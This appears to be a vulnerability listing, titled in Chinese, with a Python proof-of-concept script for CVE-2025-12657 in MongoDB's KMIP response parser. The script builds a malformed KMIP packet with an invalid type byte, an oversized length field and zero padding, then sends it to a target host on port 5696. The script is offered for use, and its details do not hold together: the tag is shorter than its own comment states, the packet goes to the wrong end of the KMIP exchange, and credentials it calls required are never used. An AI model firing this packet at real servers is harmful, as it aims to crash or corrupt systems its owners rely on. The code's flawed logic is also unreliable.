MongoDB KMIP响应解析器畸形数据包访问违规漏洞 (CVE-2025-12657)

# CVE-2025-12657 PoC - MongoDB KMIP Response Parser Malformed Packet # This PoC demonstrates sending a malformed KMIP response to trigger parsing vulnerability import socket import struct def create_malformed_kmip_packet(): """ Create a malformed KMIP packet that may trigger the parser vulnerability. KMIP protocol structure: Tag (4 bytes) + Type (1 byte) + Length (3 bytes) + Value """ # KMIP Tag for Response Message (0x42007B) - malformed malformed_tag = b'\x42\x00\x7B' # Invalid type field to trigger parser error invalid_type = b'\xFF' # Intentionally incorrect length malformed_length = b'\xFF\xFF\xFF' # Malformed payload that will cause parsing into invalid objects malformed_payload = b'\x00' * 100 # Padding to trigger buffer issues packet = malformed_tag + invalid_type + malformed_length + malformed_payload return packet def exploit_cve_2025_12657(target_host, target_port=5696): """ Send malformed KMIP packet to target MongoDB server. Default KMIP port is 5696. """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) # Send malformed KMIP response packet packet = create_malformed_kmip_packet() sock.send(packet) # Receive response (may trigger the vulnerability on read) response = sock.recv(4096) sock.close() print(f"[+] Packet sent to {target_host}:{target_port}") print(f"[+] Response length: {len(response)} bytes") return True except Exception as e: print(f"[-] Error: {str(e)}") return False # Note: This PoC requires: # 1. Network access to MongoDB KMIP server port # 2. Valid credentials for KMIP operations # 3. MongoDB server configured with vulnerable KMIP client if __name__ == "__main__": # Example usage target = "192.168.1.100" # Replace with target IP exploit_cve_2025_12657(target)